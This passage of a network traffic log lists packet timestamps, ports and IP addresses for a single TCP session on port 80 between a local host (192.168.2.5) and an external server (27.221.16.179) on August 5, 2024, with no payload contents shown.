Aug 5, 2024 11:59:55.603972912 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.603984118 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.604010105 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.604023933 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.604048014 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.604057074 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.604099035 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.611316919 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.611351013 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.611383915 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.611397982 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.611671925 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.611704111 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.611737013 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.611746073 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.611771107 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.611784935 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.660680056 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.908176899 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908256054 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908315897 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.908317089 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908354044 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908406019 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908438921 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908474922 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908538103 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.908538103 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.908545971 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908580065 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908592939 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.908612967 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908657074 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.908683062 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908718109 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908750057 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908761024 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.908783913 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908821106 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908823013 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.908854961 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908889055 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908899069 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.908921003 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908955097 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.908967018 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.908987999 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909024000 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909033060 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909056902 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909090996 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909101009 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909137011 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909179926 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909187078 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909240961 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909277916 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909286022 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909327030 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909359932 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909372091 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909401894 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909435034 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909446955 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909467936 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909499884 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909508944 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909533024 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909574032 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909574986 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909583092 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909616947 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909626961 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909650087 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909682989 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909692049 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909717083 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909749985 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909765005 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909782887 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909816980 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909826994 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.909849882 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909885883 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.909893036 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910023928 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910056114 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910068989 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910089970 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910135031 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910140991 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910176039 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910207987 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910219908 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910243034 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910286903 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910295963 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910331011 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910362959 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910377026 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910396099 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910429001 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910445929 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910463095 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910495043 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910507917 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910526991 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910559893 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910573006 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910592079 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910628080 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910665989 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910728931 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910777092 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.910779953 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:55.910947084 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:55.911000967 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.259180069 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259277105 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259310007 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259366035 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259397984 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.259419918 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259438992 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.259455919 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259490967 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259501934 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.259543896 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259579897 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259589911 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.259614944 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259649992 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259660006 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.259702921 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259737968 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259754896 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.259772062 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259805918 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259814024 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.259838104 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259888887 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.259910107 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259946108 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.259991884 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260020018 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260073900 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260124922 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260128021 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260163069 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260198116 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260210991 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260232925 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260277033 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260284901 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260319948 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260354042 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260370970 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260387897 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260421991 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260440111 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260457039 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260498047 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260512114 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260545969 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260581017 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260590076 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260616064 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260648966 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260665894 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260689974 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260724068 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260739088 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260759115 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260792971 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260803938 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260828018 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260860920 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260874987 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260899067 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260947943 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.260951042 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.260986090 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261018991 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261032104 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261054039 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261100054 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261106968 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261142015 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261184931 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261193991 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261228085 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261264086 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261272907 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261297941 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261332035 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261343002 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261365891 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261400938 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261411905 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261435032 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261468887 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261482954 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261504889 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261538029 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261553049 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261571884 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261605978 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261619091 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261641979 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261678934 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261694908 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261717081 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261754990 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261773109 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261789083 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261823893 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261840105 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261857986 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261892080 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261904955 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261926889 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261960983 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.261970043 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.261996984 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.262029886 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.262043953 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.262073040 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.262121916 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.609033108 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609123945 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609184027 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609219074 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609275103 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609308004 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609321117 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.609321117 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.609364033 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609417915 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609421968 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.609469891 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609520912 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609529018 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.609559059 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609568119 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.609592915 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609627008 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609646082 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.609678984 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609715939 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609762907 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609772921 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.609817982 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609874010 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609874964 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.609909058 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609919071 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.609945059 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609980106 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.609999895 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610013962 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610053062 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610071898 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610085011 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610117912 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610138893 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610171080 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610224962 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610260010 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610280037 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610295057 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610304117 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610333920 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610384941 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610424042 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610440016 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610457897 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610477924 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610491991 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610526085 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610546112 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610562086 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610595942 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610630035 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610651016 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610662937 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610675097 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610699892 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610734940 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610786915 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610790014 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610843897 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610877991 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610897064 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610910892 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610923052 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.610963106 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.610996962 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611016035 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611049891 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611083984 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611103058 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611118078 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611152887 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611172915 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611186981 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611219883 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611253023 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611273050 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611287117 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611300945 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611323118 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611356974 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611391068 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611408949 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611433983 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611442089 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611469030 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611501932 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611526012 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611557961 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611593008 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611628056 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611645937 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611661911 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611671925 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611718893 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611752987 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611787081 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611805916 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611818075 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611831903 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:56.611851931 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:56.611886978 CEST	80	49764	27.221.16.179	192.168.2.5
